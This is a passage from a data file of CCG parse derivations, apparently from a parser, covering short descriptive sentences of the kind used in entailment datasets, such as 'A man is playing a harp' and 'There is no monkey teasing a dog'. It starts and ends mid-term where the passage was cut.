t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(484,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(485,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'keyboard', 'keyboard', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(486,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'harp', 'harp', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(487,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'thick', 'thick', 'JJ', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'sword', 'sword', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(488,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'sword', 'sword', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(489,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(490,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(491,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'men', 'man', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(492,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(493,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'fitting', 'fit', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'silencer', 'silencer', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pistol', 'pistol', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(494,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'applying', 'apply', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'silencer', 'silencer', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gun', 'gun', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(495,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'couch', 'couch', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'crocheting', 'crochet', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(496,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'violin', 'violin', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(497,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cooking', 'cook', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snake', 'snake', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(498,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'cooking', 'cook', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snake', 'snake', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(499,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(500,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(501,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'teasing', 'tease', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'zoo', 'zoo', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(502,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'teasing', 'tease', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'zoo', 'zoo', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(503,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'pulling', 'pull', 'VBG', 'I-VP', 'O'),
fa(np:nb,
ba(np:nb/n,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
t((np:nb/n)\np, '\'s', '\'s', 'POS', 'B-NP', 'O')),
t(n, 'tail', 'tail', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(504,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'monkey', 'monkey', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'teasing', 'tease', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'zoo', 'zoo', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(505,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'ginger', 'ginger', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(506,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'ginger', 'ginger', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(507,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'ginger', 'ginger', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(508,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(509,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'pieces', 'piece', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(510,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(511,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'box', 'box', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'knife', 'knife', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(512,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'box', 'box', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'knife', 'knife', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(513,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'instruments', 'instrument', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(514,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'instruments', 'instrument', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(515,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'instruments', 'instrument', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(516,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'instruments', 'instrument', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(517,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(518,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'exercising', 'exercise', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(519,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'pull-ups', 'pull-up', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(520,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'exercises', 'exercise', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(521,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
